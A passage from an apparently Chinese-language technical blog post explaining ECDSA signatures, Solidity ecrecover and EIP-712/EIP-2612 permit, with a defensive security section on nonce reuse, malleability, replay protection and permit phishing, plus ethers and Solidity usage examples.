style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">G</span><span class="mclose">)</span></span></span></span></span></p><h3 id="7-3-Solidity-中的-ecrecover">7.3 Solidity 中的 ecrecover</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// 预编译合约，地址 0x01</span><br><span class="line">function ecrecover(</span><br><span class="line">    bytes32 hash,   // 消息哈希</span><br><span class="line">    uint8 v,        // 恢复标识符</span><br><span class="line">    bytes32 r,      // 签名 r</span><br><span class="line">    bytes32 s       // 签名 s</span><br><span class="line">) returns (address);</span><br><span class="line"></span><br><span class="line">// 使用示例</span><br><span class="line">address signer = ecrecover(messageHash, v, r, s);</span><br><span class="line">require(signer == expectedSigner, &quot;Invalid signature&quot;);</span><br></pre></td></tr></table></figure><hr><h2 id="8-安全性分析">8. 安全性分析</h2><h3 id="8-1-随机数-k-的重要性">8.1 随机数 k 的重要性</h3><p><strong>致命错误</strong>：如果两次签名使用相同的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，私钥将泄露！</p><p>假设两次签名 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 使用相同的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span></span></span></span></span></p><p>则：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.2603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>一旦知道 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，可以计算私钥：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.044em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>历史案例</strong>：2010 年 Sony PS3 私钥泄露，正是因为 ECDSA 签名使用了固定的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。</p><h3 id="8-2-签名可锻性-Malleability">8.2 签名可锻性 (Malleability)</h3><p>对于有效签名 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span>，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 也是有效签名。</p><p><strong>解决方案</strong>：EIP-2 规定 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 必须在低半区：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// OpenZeppelin ECDSA 库的检查</span><br><span class="line">if (uint256(s) &gt; 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) &#123;</span><br><span class="line">    return (address(0), RecoverError.InvalidSignatureS);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="8-3-重放攻击防护">8.3 重放攻击防护</h3><table><thead><tr><th>攻击类型</th><th>防护机制</th></tr></thead><tbody><tr><td>跨链重放</td><td>Domain Separator 包含 chainId</td></tr><tr><td>跨合约重放</td><td>Domain Separator 包含 verifyingContract</td></tr><tr><td>同合约重放</td><td>nonce 递增机制</td></tr><tr><td>过期签名</td><td>deadline 时间戳检查</td></tr></tbody></table><h3 id="8-4-Permit-特有风险">8.4 Permit 特有风险</h3><p><strong>钓鱼攻击</strong>：</p><ul><li>恶意网站诱导用户签名</li><li>用户以为在签授权给 DEX</li><li>实际签名授权给攻击者地址</li></ul><p><strong>缓解措施</strong>：</p><ul><li>钱包清晰展示签名内容</li><li>用户仔细核对 spender 地址</li><li>设置合理的 deadline</li></ul><hr><h2 id="9-实际应用场景">9. 实际应用场景</h2><h3 id="9-1-Permit-使用示例">9.1 Permit 使用示例</h3><p><strong>前端签名</strong>：</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; ethers &#125; <span class="keyword">from</span> <span class="string">&quot;ethers&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">signPermit</span>(<span class="params"></span></span><br><span class="line"><span class="params">  <span class="attr">token</span>: <span class="title class_">Contract</span>,</span></span><br><span class="line"><span class="params">  <span class="attr">owner</span>: <span class="title class_">Signer</span>,</span></span><br><span class="line"><span class="params">  <span class="attr">spender</span>: <span class="built_in">string</span>,</span></span><br><span class="line"><span class="params">  <span class="attr">value</span>: <span class="title class_">BigNumber</span>,</span></span><br><span class="line"><span class="params">  <span class="attr">deadline</span>: <span class="built_in">number</span></span></span><br><span class="line"><span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> nonce = <span class="keyword">await</span> token.<span class="title function_">nonces</span>(owner.<span class="property">address</span>);</span><br><span class="line">  <span class="keyword">const</span> name = <span class="keyword">await</span> token.<span class="title function_">name</span>();</span><br><span class="line">  <span class="keyword">const</span> chainId = <span class="keyword">await</span> owner.<span class="title function_">getChainId</span>();</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> domain = &#123;</span><br><span class="line">    <span class="attr">name</span>: name,</span><br><span class="line">    <span class="attr">version</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">    <span class="attr">chainId</span>: chainId,</span><br><span class="line">    <span class="attr">verifyingContract</span>: token.<span class="property">address</span>,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> types = &#123;</span><br><span class="line">    <span class="title class_">Permit</span>: [</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;owner&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;address&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;spender&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;address&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;value&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;nonce&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;deadline&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">    ],</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> message = &#123;</span><br><span class="line">    <span class="attr">owner</span>: owner.<span class="property">address</span>,</span><br><span class="line">    <span class="attr">spender</span>: spender,</span><br><span class="line">    <span class="attr">value</span>: value,</span><br><span class="line">    <span class="attr">nonce</span>: nonce,</span><br><span class="line">    <span class="attr">deadline</span>: deadline,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> signature = <span class="keyword">await</span> owner.<span class="title function_">_signTypedData</span>(domain, types, message);</span><br><span class="line">  <span class="keyword">const</span> &#123; v, r, s &#125; = ethers.<span class="property">utils</span>.<span class="title function_">splitSignature</span>(signature);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> &#123; v, r, s &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>合约调用</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">// 单笔交易完成授权 + 转账</span><br><span class="line">function permitAndTransfer(</span><br><span class="line">    address token,</span><br><span class="line">    address from,</span><br><span class="line">    address to,</span><br><span class="line">    uint256 amount,</span><br><span class="line">    uint256 deadline,</span><br><span class="line">    uint8 v, bytes32 r, bytes32 s</span><br><span class="line">) external &#123;</span><br><span class="line">    // 使用签名授权</span><br><span class="line">    IERC20Permit(token).permit(from, address(this), amount, deadline, v, r, s);</span><br><span class="line"></span><br><span class="line">    // 执行转账</span><br><span class="line">    IERC20(token).transferFrom(from, to, amount);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="9-2-Permit2-Uniswap">9.2 Permit2 (Uniswap)</h3><p>Permit2 是 Uniswap 开发的通用授权协议：</p><p><strong>优势</strong>：</p><ul><li>统一的授权管理</li><li>支持批量授权</li><li>支持签名转账</li><li>适用于所有 ERC-20（包括不支持 Permit 的）</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// Permit2 签名授权</span><br><span class="line">struct PermitSingle &#123;</span><br><span class="line">    PermitDetails details;</span><br><span class="line">    address spender;</span><br><span class="line">    uint256 sigDeadline;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">struct PermitDetails &#123;</span><br><span class="line">    address token;</span><br><span class="line">    uint160 amount;</span><br><span class="line">    uint48 expiration;</span><br><span class="line">    uint48 nonce;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="9-3-Gasless-交易（元交易）">9.3 Gasless 交易（元交易）</h3><p>结合 Permit 实现无 Gas 交易：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. 用户签名 Permit（离线）</span><br><span class="line">2. 用户签名交易意图（离线）</span><br><span class="line">3. Relayer 提交两个签名到链上</span><br><span class="line">4. Relayer 支付 Gas</span><br><span class="line">5. 用户支付代币作为手续费</span><br></pre></td></tr></table></figure><hr><h2 id="参考资料">参考资料</h2><h3 id="EIP-标准文档">EIP 标准文档</h3><ul><li><a href="https://eips.ethereum.org/EIPS/eip-712">EIP-712: Typed structured data hashing and signing</a></li><li><a href="https://eips.ethereum.org/EIPS/eip-2612">EIP-2612: Permit Extension for ERC-20</a></li><li><a href="https://eips.ethereum.org/EIPS/eip-2">EIP-2: Homestead Hard-fork Changes (签名可锻性修复)</a></li></ul><h3 id="椭圆曲线与-secp256k1">椭圆曲线与 secp256k1</h3><ul><li><a href="https://www.secg.org/sec2-v2.pdf">SEC 2: Recommended Elliptic Curve Domain Parameters</a> - 官方标准文档</li><li><a href="https://en.bitcoin.it/wiki/Secp256k1">Secp256k1 - Bitcoin Wiki</a> - secp256k1 参数权威参考</li><li><a href="https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TR03111/BSI-TR-03111_V-2-0_pdf.pdf">BSI TR-03111: Elliptic Curve Cryptography</a> - 德国联邦信息安全办公室技术指南</li></ul><h3 id="ECDSA-算法详解">ECDSA 算法详解</h3><ul><li><a href="https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm">ECDSA - Wikipedia</a></li><li><a href="https://rareskills.io/post/ecdsa-tutorial">The intuition behind elliptic curve digital signatures (ECDSA) - RareSkills</a> - 公式推导详解</li><li><a 